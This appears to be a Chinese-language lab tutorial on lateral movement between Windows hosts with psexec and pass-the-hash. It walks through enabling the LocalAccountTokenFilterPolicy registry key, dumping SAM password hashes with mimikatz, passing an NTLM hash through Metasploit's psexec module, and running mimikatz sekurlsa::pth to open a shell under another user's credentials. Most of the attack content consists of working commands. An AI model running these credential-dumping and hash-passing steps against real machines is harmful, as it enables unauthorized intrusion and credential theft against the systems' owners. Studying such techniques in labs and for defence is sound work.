psexec
前提:
1、windows10
如果要成功利用 psexec
,需要开启一个注册表项:
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
2、被 psexec
攻击的那个用户必须是管理员

3、psexec
的攻击场景绝不止我写的这一种,还有别的场景。想到或者遇到了再继续写(挖坑)
介绍
环境:
- A主机 – 靶机
- B主机 – 已获取权限主机
- kali – 攻击机
配置:
- A主机有管理员账户 b , 密码 123456
- B主机也有管理员账户 b ,密码也是 123456
当不同 windows
之间用户名密码相同的时候, 是可以用 A主机
的凭据登陆 B 主机
的。
这是由于 NTLM
实现的方式。在用户名和密码相同的情况下,生成的 NTLM
值是一样的。而 windows
进行校验的方式就是校验 NTLM
假设这样一个攻击场景:获取了 B主机的权限
,可是没有爆出来 B主机账户的密码
。
要横向移动,或者要登陆 B主机的其他用户
。可以尝试使用这种方式,也称为 "PTH" (Pass The Hash)
:尝试用 B主机账户
的凭证登陆 A主机账户
在 B主机
中使用 mimikatz
抓取 密码hash
:
首先,
开debug,
权限提一提(需要是管理员运行)
1 | privilege::debug |

抓取所有的 用户hash
1 | mimikatz # lsadump::sam |
msfconsole
攻击机使用 抓取到的 密码hash
,使用 psexec
对 A主机
进行连接
msfconsole
模块 exploit/windows/smb/psexec
设置用户名和 hash。注意 hash 格式:
LM:NTLM
由于 LM
在 08 以上
就不用了,所以我们可以固定设置为 32位的0
NTLM
就是我们从 mimikatz
中 dump
下来的hash

windows - psExec.exe
windows
也可使用 PsExec.exe
工具进行连接,不过需要在 微软工具包
中进行下载。直接百度搜 psexec
就有了。
B主机
中:
1 | PsExec.exe \\A主机 cmd |
psexec.exe
默认不加参数,就是使用当前用户的凭据

在 B 主机
中若想使用 用户b
去连接 A主机
,可使用 mimikatz
进行 PTH
:
1 | mimikatz # lsadump::sam |
注意 Domain 的值
和 用户b
的 Hash NTLM
PTH:
1 | sekurlsa::pth /user:b /domain:DESKTOP-5FKPQBM /ntlm:32ed87bdb5fdc5e9cba88547376818d4 |
虽然调用出来的窗口 whoami 是 system,但是他确实是 用户b 的凭据:
